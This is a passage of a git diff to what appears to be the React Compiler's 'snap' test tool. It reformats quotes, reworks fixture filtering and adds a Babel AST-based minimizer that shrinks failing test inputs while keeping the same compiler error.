-export const SNAPSHOT_EXTENSION = ".expect.md";
-export const FILTER_FILENAME = "testfilter.txt";
-export const FILTER_PATH = path.join(process.cwd(), FILTER_FILENAME);
+export const SNAPSHOT_EXTENSION = '.expect.md';
diff --git a/compiler/packages/snap/src/fixture-utils.ts b/compiler/packages/snap/src/fixture-utils.ts
index fcea8ec2e1fe..29f7d4ddfbb9 100644
--- a/compiler/packages/snap/src/fixture-utils.ts
+++ b/compiler/packages/snap/src/fixture-utils.ts
@@ -5,36 +5,26 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import fs from "fs/promises";
-import * as glob from "glob";
-import path from "path";
-import { FILTER_PATH, FIXTURES_PATH, SNAPSHOT_EXTENSION } from "./constants";
+import fs from 'fs/promises';
+import * as glob from 'glob';
+import path from 'path';
+import {FIXTURES_PATH, SNAPSHOT_EXTENSION} from './constants';
 
 const INPUT_EXTENSIONS = [
-  ".js",
-  ".cjs",
-  ".mjs",
-  ".ts",
-  ".cts",
-  ".mts",
-  ".jsx",
-  ".tsx",
+  '.js',
+  '.cjs',
+  '.mjs',
+  '.ts',
+  '.cts',
+  '.mts',
+  '.jsx',
+  '.tsx',
 ];
 
 export type TestFilter = {
-  debug: boolean;
   paths: Array<string>;
 };
 
-async function exists(file: string): Promise<boolean> {
-  try {
-    await fs.access(file);
-    return true;
-  } catch {
-    return false;
-  }
-}
-
 function stripExtension(filename: string, extensions: Array<string>): string {
   for (const ext of extensions) {
     if (filename.endsWith(ext)) {
@@ -44,43 +34,12 @@ function stripExtension(filename: string, extensions: Array<string>): string {
   return filename;
 }
 
-export async function readTestFilter(): Promise<TestFilter | null> {
-  if (!(await exists(FILTER_PATH))) {
-    throw new Error(`testfilter file not found at \`${FILTER_PATH}\``);
-  }
-
-  const input = await fs.readFile(FILTER_PATH, "utf8");
-  const lines = input.trim().split("\n");
-
-  let debug: boolean = false;
-  const line0 = lines[0];
-  if (line0 != null) {
-    // Try to parse pragmas
-    let consumedLine0 = false;
-    if (line0.indexOf("@only") !== -1) {
-      consumedLine0 = true;
-    }
-    if (line0.indexOf("@debug") !== -1) {
-      debug = true;
-      consumedLine0 = true;
-    }
-
-    if (consumedLine0) {
-      lines.shift();
-    }
-  }
-  return {
-    debug,
-    paths: lines.filter((line) => !line.trimStart().startsWith("//")),
-  };
-}
-
 export function getBasename(fixture: TestFixture): string {
   return stripExtension(path.basename(fixture.inputPath), INPUT_EXTENSIONS);
 }
 export function isExpectError(fixture: TestFixture | string): boolean {
-  const basename = typeof fixture === "string" ? fixture : getBasename(fixture);
-  return basename.startsWith("error.") || basename.startsWith("todo.error");
+  const basename = typeof fixture === 'string' ? fixture : getBasename(fixture);
+  return basename.startsWith('error.') || basename.startsWith('todo.error');
 }
 
 export type TestFixture =
@@ -101,31 +60,47 @@ export type TestFixture =
 
 async function readInputFixtures(
   rootDir: string,
-  filter: TestFilter | null
-): Promise<Map<string, { value: string; filepath: string }>> {
+  filter: TestFilter | null,
+): Promise<Map<string, {value: string; filepath: string}>> {
   let inputFiles: Array<string>;
   if (filter == null) {
-    inputFiles = glob.sync(`**/*{${INPUT_EXTENSIONS.join(",")}}`, {
+    inputFiles = glob.sync(`**/*{${INPUT_EXTENSIONS.join(',')}}`, {
       cwd: rootDir,
     });
   } else {
     inputFiles = (
       await Promise.all(
-        filter.paths.map((pattern) =>
-          glob.glob(`${pattern}{${INPUT_EXTENSIONS.join(",")}}`, {
+        filter.paths.map(pattern => {
+          // If the pattern already has an extension other than .expect.md,
+          // search for the pattern directly. Otherwise, search for the
+          // pattern with the expected input extensions added.
+          // Eg
+          // `alias-while` => search for `alias-while{.js,.jsx,.ts,.tsx}`
+          // `alias-while.js` => search as-is
+          // `alias-while.expect.md` => search for `alias-while{.js,.jsx,.ts,.tsx}`
+          const patternWithoutExt = stripExtension(pattern, [
+            ...INPUT_EXTENSIONS,
+            SNAPSHOT_EXTENSION,
+          ]);
+          const hasExtension = pattern !== patternWithoutExt;
+          const globPattern =
+            hasExtension && !pattern.endsWith(SNAPSHOT_EXTENSION)
+              ? pattern
+              : `${patternWithoutExt}{${INPUT_EXTENSIONS.join(',')}}`;
+          return glob.glob(globPattern, {
             cwd: rootDir,
-          })
-        )
+          });
+        }),
       )
     ).flat();
   }
-  const inputs: Array<Promise<[string, { value: string; filepath: string }]>> =
+  const inputs: Array<Promise<[string, {value: string; filepath: string}]>> =
     [];
   for (const filePath of inputFiles) {
     // Do not include extensions in unique identifier for fixture
     const partialPath = stripExtension(filePath, INPUT_EXTENSIONS);
     inputs.push(
-      fs.readFile(path.join(rootDir, filePath), "utf8").then((input) => {
+      fs.readFile(path.join(rootDir, filePath), 'utf8').then(input => {
         return [
           partialPath,
           {
@@ -133,14 +108,14 @@ async function readInputFixtures(
             filepath: filePath,
           },
         ];
-      })
+      }),
     );
   }
   return new Map(await Promise.all(inputs));
 }
 async function readOutputFixtures(
   rootDir: string,
-  filter: TestFilter | null
+  filter: TestFilter | null,
 ): Promise<Map<string, string>> {
   let outputFiles: Array<string>;
   if (filter == null) {
@@ -150,11 +125,16 @@ async function readOutputFixtures(
   } else {
     outputFiles = (
       await Promise.all(
-        filter.paths.map((pattern) =>
-          glob.glob(`${pattern}${SNAPSHOT_EXTENSION}`, {
+        filter.paths.map(pattern => {
+          // Strip all extensions and find matching .expect.md files
+          const basenameWithoutExt = stripExtension(pattern, [
+            ...INPUT_EXTENSIONS,
+            SNAPSHOT_EXTENSION,
+          ]);
+          return glob.glob(`${basenameWithoutExt}${SNAPSHOT_EXTENSION}`, {
             cwd: rootDir,
-          })
-        )
+          });
+        }),
       )
     ).flat();
   }
@@ -165,8 +145,8 @@ async function readOutputFixtures(
 
     const outputPath = path.join(rootDir, filePath);
     const output: Promise<[string, string]> = fs
-      .readFile(outputPath, "utf8")
-      .then((output) => {
+      .readFile(outputPath, 'utf8')
+      .then(output => {
         return [partialPath, output];
       });
     outputs.push(output);
@@ -175,13 +155,13 @@ async function readOutputFixtures(
 }
 
 export async function getFixtures(
-  filter: TestFilter | null
+  filter: TestFilter | null,
 ): Promise<Map<string, TestFixture>> {
   const inputs = await readInputFixtures(FIXTURES_PATH, filter);
   const outputs = await readOutputFixtures(FIXTURES_PATH, filter);
 
   const fixtures: Map<string, TestFixture> = new Map();
-  for (const [partialPath, { value, filepath }] of inputs) {
+  for (const [partialPath, {value, filepath}] of inputs) {
     const output = outputs.get(partialPath) ?? null;
     fixtures.set(partialPath, {
       fixturePath: partialPath,
@@ -197,7 +177,7 @@ export async function getFixtures(
       fixtures.set(partialPath, {
         fixturePath: partialPath,
         input: null,
-        inputPath: "none",
+        inputPath: 'none',
         snapshot: output,
         snapshotPath:
           path.join(FIXTURES_PATH, partialPath) + SNAPSHOT_EXTENSION,
diff --git a/compiler/packages/snap/src/main.ts b/compiler/packages/snap/src/main.ts
index d1ba9c7e3895..9e5ab53e5c6d 100644
--- a/compiler/packages/snap/src/main.ts
+++ b/compiler/packages/snap/src/main.ts
@@ -5,11 +5,11 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { fork } from "child_process";
-import invariant from "invariant";
-import process from "process";
-import * as readline from "readline";
-import { hideBin } from "yargs/helpers";
+import {fork} from 'child_process';
+import invariant from 'invariant';
+import process from 'process';
+import * as readline from 'readline';
+import {hideBin} from 'yargs/helpers';
 
 readline.emitKeypressEvents(process.stdin);
 
@@ -17,36 +17,36 @@ if (process.stdin.isTTY) {
   process.stdin.setRawMode(true);
 }
 
-process.stdin.on("keypress", function (_, key) {
-  if (key && key.name === "c" && key.ctrl) {
+process.stdin.on('keypress', function (_, key) {
+  if (key && key.name === 'c' && key.ctrl) {
     // handle sigint
     if (childProc) {
-      console.log("Interrupted!!");
-      childProc.kill("SIGINT");
+      console.log('Interrupted!!');
+      childProc.kill('SIGINT');
       childProc.unref();
       process.exit(-1);
     }
   }
 });
 
-const childProc = fork(require.resolve("./runner.js"), hideBin(process.argv), {
+const childProc = fork(require.resolve('./runner.js'), hideBin(process.argv), {
   // for some reason, keypress events aren't sent to handlers in both processes
   // when we `inherit` stdin.
   // pipe stdout and stderr so we can silence child process after parent exits
-  stdio: ["pipe", "pipe", "pipe", "ipc"],
+  stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
   // forward existing env variables, like `NODE_OPTIONS` which VSCode uses to attach
   // its debugger
-  env: { ...process.env, FORCE_COLOR: "true" },
+  env: {...process.env, FORCE_COLOR: 'true'},
 });
 
 invariant(
   childProc.stdin && childProc.stdout && childProc.stderr,
-  "Expected forked process to have piped stdio"
+  'Expected forked process to have piped stdio',
 );
 process.stdin.pipe(childProc.stdin);
 childProc.stdout.pipe(process.stdout);
 childProc.stderr.pipe(process.stderr);
 
-childProc.on("exit", (code) => {
+childProc.on('exit', code => {
   process.exit(code ?? -1);
 });
diff --git a/compiler/packages/snap/src/minimize.ts b/compiler/packages/snap/src/minimize.ts
new file mode 100644
index 000000000000..c734c9306d98
--- /dev/null
+++ b/compiler/packages/snap/src/minimize.ts
@@ -0,0 +1,2142 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import type {PluginObj} from '@babel/core';
+import {transformFromAstSync} from '@babel/core';
+import generate from '@babel/generator';
+import traverse from '@babel/traverse';
+import * as t from '@babel/types';
+import type {parseConfigPragmaForTests as ParseConfigPragma} from 'babel-plugin-react-compiler/src/Utils/TestUtils';
+import {parseInput} from './compiler.js';
+import {PARSE_CONFIG_PRAGMA_IMPORT, BABEL_PLUGIN_SRC} from './constants.js';
+
+type CompileSuccess = {kind: 'success'};
+type CompileParseError = {kind: 'parse_error'; message: string};
+type CompileErrors = {
+  kind: 'errors';
+  errors: Array<{category: string; reason: string; description: string | null}>;
+};
+type CompileResult = CompileSuccess | CompileParseError | CompileErrors;
+
+/**
+ * Compile code and extract error information
+ */
+function compileAndGetError(
+  code: string,
+  filename: string,
+  language: 'flow' | 'typescript',
+  sourceType: 'module' | 'script',
+  plugin: PluginObj,
+  parseConfigPragmaFn: typeof ParseConfigPragma,
+): CompileResult {
+  let ast: t.File;
+  try {
+    ast = parseInput(code, filename, language, sourceType);
+  } catch (e: unknown) {
+    return {kind: 'parse_error', message: (e as Error).message};
+  }
+
+  const firstLine = code.substring(0, code.indexOf('\n'));
+  const config = parseConfigPragmaFn(firstLine, {compilationMode: 'all'});
+  const options = {
+    ...config,
+    environment: {
+      ...config.environment,
+    },
+    logger: {
+      logEvent: () => {},
+      debugLogIRs: () => {},
+    },
+    enableReanimatedCheck: false,
+  };
+
+  try {
+    transformFromAstSync(ast, code, {
+      filename: '/' + filename,
+      highlightCode: false,
+      retainLines: true,
+      compact: true,
+      plugins: [[plugin, options]],
+      sourceType: 'module',
+      ast: false,
+      cloneInputAst: true,
+      configFile: false,
+      babelrc: false,
+    });
+    return {kind: 'success'};
+  } catch (e: unknown) {
+    const error = e as Error & {
+      details?: Array<{
+        category: string;
+        reason: string;
+        description: string | null;
+      }>;
+    };
+    // Check if this is a CompilerError with details
+    if (error.details && error.details.length > 0) {
+      return {
+        kind: 'errors',
+        errors: error.details.map(detail => ({
+          category: detail.category,
+          reason: detail.reason,
+          description: detail.description,
+        })),
+      };
+    }
+    // Fallback for other errors - use error name/message
+    return {
+      kind: 'errors',
+      errors: [
+        {
+          category: error.name ?? 'Error',
+          reason: error.message,
+          description: null,
+        },
+      ],
+    };
+  }
+}
+
+/**
+ * Check if two compile errors match
+ */
+function errorsMatch(a: CompileErrors, b: CompileResult): boolean {
+  if (b.kind !== 'errors') {
+    return false;
+  }
+  if (a.errors.length !== b.errors.length) {
+    return false;
+  }
+  for (let i = 0; i < a.errors.length; i++) {
+    if (
+      a.errors[i].category !== b.errors[i].category ||
+      a.errors[i].reason !== b.errors[i].reason ||
+      a.errors[i].description !== b.errors[i].description
+    ) {
+      return false;
+    }
+  }
+  return true;
+}
+
+/**
+ * Convert AST to code string
+ */
+function astToCode(ast: t.File): string {
+  return generate(ast).code;
+}
+
+/**
+ * Clone an AST node deeply
+ */
+function cloneAst(ast: t.File): t.File {
+  return t.cloneNode(ast, true);
+}
+
+/**
+ * Generator that yields ASTs with statements removed one at a time
+ */
+function* removeStatements(ast: t.File): Generator<t.File> {
+  // Collect all statement locations: which container (by index) and which statement index
+  const statementLocations: Array<{containerIndex: number; stmtIndex: number}> =
+    [];
+  let containerIndex = 0;
+
+  t.traverseFast(ast, node => {
+    if (t.isBlockStatement(node) || t.isProgram(node)) {
+      const body = node.body as t.Statement[];
+      // Iterate in reverse order so removing later statements first
+      for (let i = body.length - 1; i >= 0; i--) {
+        statementLocations.push({containerIndex, stmtIndex: i});
+      }
+      containerIndex++;
+    }
+  });
+
+  for (const {
+    containerIndex: targetContainerIdx,
+    stmtIndex,
+  } of statementLocations) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    t.traverseFast(cloned, node => {
+      if (modified) return;
+      if (t.isBlockStatement(node) || t.isProgram(node)) {
+        if (idx === targetContainerIdx) {
+          const body = node.body as t.Statement[];
+          if (stmtIndex < body.length) {
+            body.splice(stmtIndex, 1);
+            modified = true;
+          }
+        }
+        idx++;
+      }
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that yields ASTs with call arguments removed one at a time
+ */
+function* removeCallArguments(ast: t.File): Generator<t.File> {
+  // Collect all call expressions with their argument counts
+  const callSites: Array<{callIndex: number; argCount: number}> = [];
+  let callIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isCallExpression(node) && node.arguments.length > 0) {
+      callSites.push({callIndex, argCount: node.arguments.length});
+      callIndex++;
+    }
+  });
+
+  // For each call site, try removing each argument one at a time (from end to start)
+  for (const {callIndex: targetCallIdx, argCount} of callSites) {
+    for (let argIdx = argCount - 1; argIdx >= 0; argIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isCallExpression(node) && node.arguments.length > 0) {
+          if (idx === targetCallIdx && argIdx < node.arguments.length) {
+            node.arguments.splice(argIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that yields ASTs with function parameters removed one at a time
+ */
+function* removeFunctionParameters(ast: t.File): Generator<t.File> {
+  // Collect all functions with parameters
+  const funcSites: Array<{funcIndex: number; paramCount: number}> = [];
+  let funcIndex = 0;
+  t.traverseFast(ast, node => {
+    if (t.isFunction(node) && node.params.length > 0) {
+      funcSites.push({funcIndex, paramCount: node.params.length});
+      funcIndex++;
+    }
+  });
+
+  // For each function, try removing each parameter (from end to start)
+  for (const {funcIndex: targetFuncIdx, paramCount} of funcSites) {
+    for (let paramIdx = paramCount - 1; paramIdx >= 0; paramIdx--) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      t.traverseFast(cloned, node => {
+        if (modified) return;
+        if (t.isFunction(node) && node.params.length > 0) {
+          if (idx === targetFuncIdx && paramIdx < node.params.length) {
+            node.params.splice(paramIdx, 1);
+            modified = true;
+          }
+          idx++;
+        }
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that simplifies call expressions by replacing them with their arguments.
+ * For single argument: foo(x) -> x
+ * For multiple arguments: foo(x, y) -> [x, y]
+ */
+function* simplifyCallExpressions(ast: t.File): Generator<t.File> {
+  // Count call expressions with arguments
+  let callCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isCallExpression(node) && node.arguments.length > 0) {
+      callCount++;
+    }
+  });
+
+  // For each call, try replacing with arguments
+  for (let targetIdx = 0; targetIdx < callCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      CallExpression(path) {
+        if (modified) return;
+        if (path.node.arguments.length > 0 && idx === targetIdx) {
+          const args = path.node.arguments;
+          // Filter to only Expression arguments (not SpreadElement)
+          const exprArgs = args.filter((arg): arg is t.Expression =>
+            t.isExpression(arg),
+          );
+          if (exprArgs.length === 0) {
+            idx++;
+            return;
+          }
+          if (exprArgs.length === 1) {
+            // Single argument: replace call with the argument
+            path.replaceWith(exprArgs[0]);
+          } else {
+            // Multiple arguments: replace call with array of arguments
+            path.replaceWith(t.arrayExpression(exprArgs));
+          }
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Also try replacing with each individual argument for multi-arg calls
+  for (let targetIdx = 0; targetIdx < callCount; targetIdx++) {
+    // First, find the arg count for this call
+    let argCount = 0;
+    let currentIdx = 0;
+    t.traverseFast(ast, node => {
+      if (t.isCallExpression(node) && node.arguments.length > 0) {
+        if (currentIdx === targetIdx) {
+          argCount = node.arguments.length;
+        }
+        currentIdx++;
+      }
+    });
+
+    // Try replacing with each argument individually
+    for (let argIdx = 0; argIdx < argCount; argIdx++) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      traverse(cloned, {
+        CallExpression(path) {
+          if (modified) return;
+          if (path.node.arguments.length > 0 && idx === targetIdx) {
+            const arg = path.node.arguments[argIdx];
+            if (t.isExpression(arg)) {
+              path.replaceWith(arg);
+              modified = true;
+            }
+          }
+          idx++;
+        },
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that simplifies conditional expressions (a ? b : c) -> a, b, or c
+ */
+function* simplifyConditionals(ast: t.File): Generator<t.File> {
+  // Count conditionals
+  let condCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isConditionalExpression(node)) {
+      condCount++;
+    }
+  });
+
+  // Try replacing with test condition
+  for (let targetIdx = 0; targetIdx < condCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let modified = false;
+    let idx = 0;
+
+    traverse(cloned, {
+      ConditionalExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.test);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with consequent
+  for (let targetIdx = 0; targetIdx < condCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let modified = false;
+    let idx = 0;
+
+    traverse(cloned, {
+      ConditionalExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.consequent);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Also try replacing with alternate
+  for (let targetIdx = 0; targetIdx < condCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let modified = false;
+    let idx = 0;
+
+    traverse(cloned, {
+      ConditionalExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.alternate);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies logical expressions (a && b) -> a or b
+ */
+function* simplifyLogicalExpressions(ast: t.File): Generator<t.File> {
+  // Count logical expressions
+  let logicalCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isLogicalExpression(node)) {
+      logicalCount++;
+    }
+  });
+
+  // Try replacing with left side
+  for (let targetIdx = 0; targetIdx < logicalCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      LogicalExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.left);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with right side
+  for (let targetIdx = 0; targetIdx < logicalCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      LogicalExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.right);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies optional chains (a?.b) -> a.b
+ */
+function* simplifyOptionalChains(ast: t.File): Generator<t.File> {
+  // Count optional expressions
+  let optionalCount = 0;
+  t.traverseFast(ast, node => {
+    if (
+      t.isOptionalMemberExpression(node) ||
+      t.isOptionalCallExpression(node)
+    ) {
+      optionalCount++;
+    }
+  });
+
+  for (let targetIdx = 0; targetIdx < optionalCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      OptionalMemberExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          const {object, property, computed} = path.node;
+          path.replaceWith(t.memberExpression(object, property, computed));
+          modified = true;
+        }
+        idx++;
+      },
+      OptionalCallExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          const {callee, arguments: args} = path.node;
+          if (t.isExpression(callee)) {
+            path.replaceWith(t.callExpression(callee, args));
+            modified = true;
+          }
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies await expressions: await expr -> expr
+ */
+function* simplifyAwaitExpressions(ast: t.File): Generator<t.File> {
+  // Count await expressions
+  let awaitCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isAwaitExpression(node)) {
+      awaitCount++;
+    }
+  });
+
+  for (let targetIdx = 0; targetIdx < awaitCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      AwaitExpression(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.argument);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies if statements:
+ * - Replace with test expression (as expression statement)
+ * - Replace with consequent block
+ * - Replace with alternate block (if present)
+ */
+function* simplifyIfStatements(ast: t.File): Generator<t.File> {
+  // Count if statements
+  let ifCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isIfStatement(node)) {
+      ifCount++;
+    }
+  });
+
+  // Try replacing with test expression
+  for (let targetIdx = 0; targetIdx < ifCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      IfStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(t.expressionStatement(path.node.test));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with consequent
+  for (let targetIdx = 0; targetIdx < ifCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      IfStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.consequent);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with alternate (if present)
+  for (let targetIdx = 0; targetIdx < ifCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      IfStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx && path.node.alternate) {
+          path.replaceWith(path.node.alternate);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies switch statements:
+ * - Replace with discriminant expression
+ * - Replace with each case's consequent statements
+ */
+function* simplifySwitchStatements(ast: t.File): Generator<t.File> {
+  // Count switch statements
+  let switchCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isSwitchStatement(node)) {
+      switchCount++;
+    }
+  });
+
+  // Try replacing with discriminant
+  for (let targetIdx = 0; targetIdx < switchCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      SwitchStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(t.expressionStatement(path.node.discriminant));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // For each switch, try replacing with each case's body
+  for (let targetIdx = 0; targetIdx < switchCount; targetIdx++) {
+    // Find case count for this switch
+    let caseCount = 0;
+    let currentIdx = 0;
+    t.traverseFast(ast, node => {
+      if (t.isSwitchStatement(node)) {
+        if (currentIdx === targetIdx) {
+          caseCount = node.cases.length;
+        }
+        currentIdx++;
+      }
+    });
+
+    for (let caseIdx = 0; caseIdx < caseCount; caseIdx++) {
+      const cloned = cloneAst(ast);
+      let idx = 0;
+      let modified = false;
+
+      traverse(cloned, {
+        SwitchStatement(path) {
+          if (modified) return;
+          if (idx === targetIdx) {
+            const switchCase = path.node.cases[caseIdx];
+            if (switchCase && switchCase.consequent.length > 0) {
+              path.replaceWithMultiple(switchCase.consequent);
+              modified = true;
+            }
+          }
+          idx++;
+        },
+      });
+
+      if (modified) {
+        yield cloned;
+      }
+    }
+  }
+}
+
+/**
+ * Generator that simplifies while statements:
+ * - Replace with test expression
+ * - Replace with body
+ */
+function* simplifyWhileStatements(ast: t.File): Generator<t.File> {
+  // Count while statements
+  let whileCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isWhileStatement(node)) {
+      whileCount++;
+    }
+  });
+
+  // Try replacing with test
+  for (let targetIdx = 0; targetIdx < whileCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      WhileStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(t.expressionStatement(path.node.test));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with body
+  for (let targetIdx = 0; targetIdx < whileCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      WhileStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.body);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies do-while statements:
+ * - Replace with test expression
+ * - Replace with body
+ */
+function* simplifyDoWhileStatements(ast: t.File): Generator<t.File> {
+  // Count do-while statements
+  let doWhileCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isDoWhileStatement(node)) {
+      doWhileCount++;
+    }
+  });
+
+  // Try replacing with test
+  for (let targetIdx = 0; targetIdx < doWhileCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      DoWhileStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(t.expressionStatement(path.node.test));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with body
+  for (let targetIdx = 0; targetIdx < doWhileCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      DoWhileStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.body);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+}
+
+/**
+ * Generator that simplifies for statements:
+ * - Replace with init (if expression)
+ * - Replace with test expression
+ * - Replace with update expression
+ * - Replace with body
+ */
+function* simplifyForStatements(ast: t.File): Generator<t.File> {
+  // Count for statements
+  let forCount = 0;
+  t.traverseFast(ast, node => {
+    if (t.isForStatement(node)) {
+      forCount++;
+    }
+  });
+
+  // Try replacing with init (if it's an expression)
+  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx && path.node.init) {
+          if (t.isExpression(path.node.init)) {
+            path.replaceWith(t.expressionStatement(path.node.init));
+          } else {
+            // It's a VariableDeclaration
+            path.replaceWith(path.node.init);
+          }
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with test
+  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx && path.node.test) {
+          path.replaceWith(t.expressionStatement(path.node.test));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with update
+  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx && path.node.update) {
+          path.replaceWith(t.expressionStatement(path.node.update));
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
+      yield cloned;
+    }
+  }
+
+  // Try replacing with body
+  for (let targetIdx = 0; targetIdx < forCount; targetIdx++) {
+    const cloned = cloneAst(ast);
+    let idx = 0;
+    let modified = false;
+
+    traverse(cloned, {
+      ForStatement(path) {
+        if (modified) return;
+        if (idx === targetIdx) {
+          path.replaceWith(path.node.body);
+          modified = true;
+        }
+        idx++;
+      },
+    });
+
+    if (modified) {
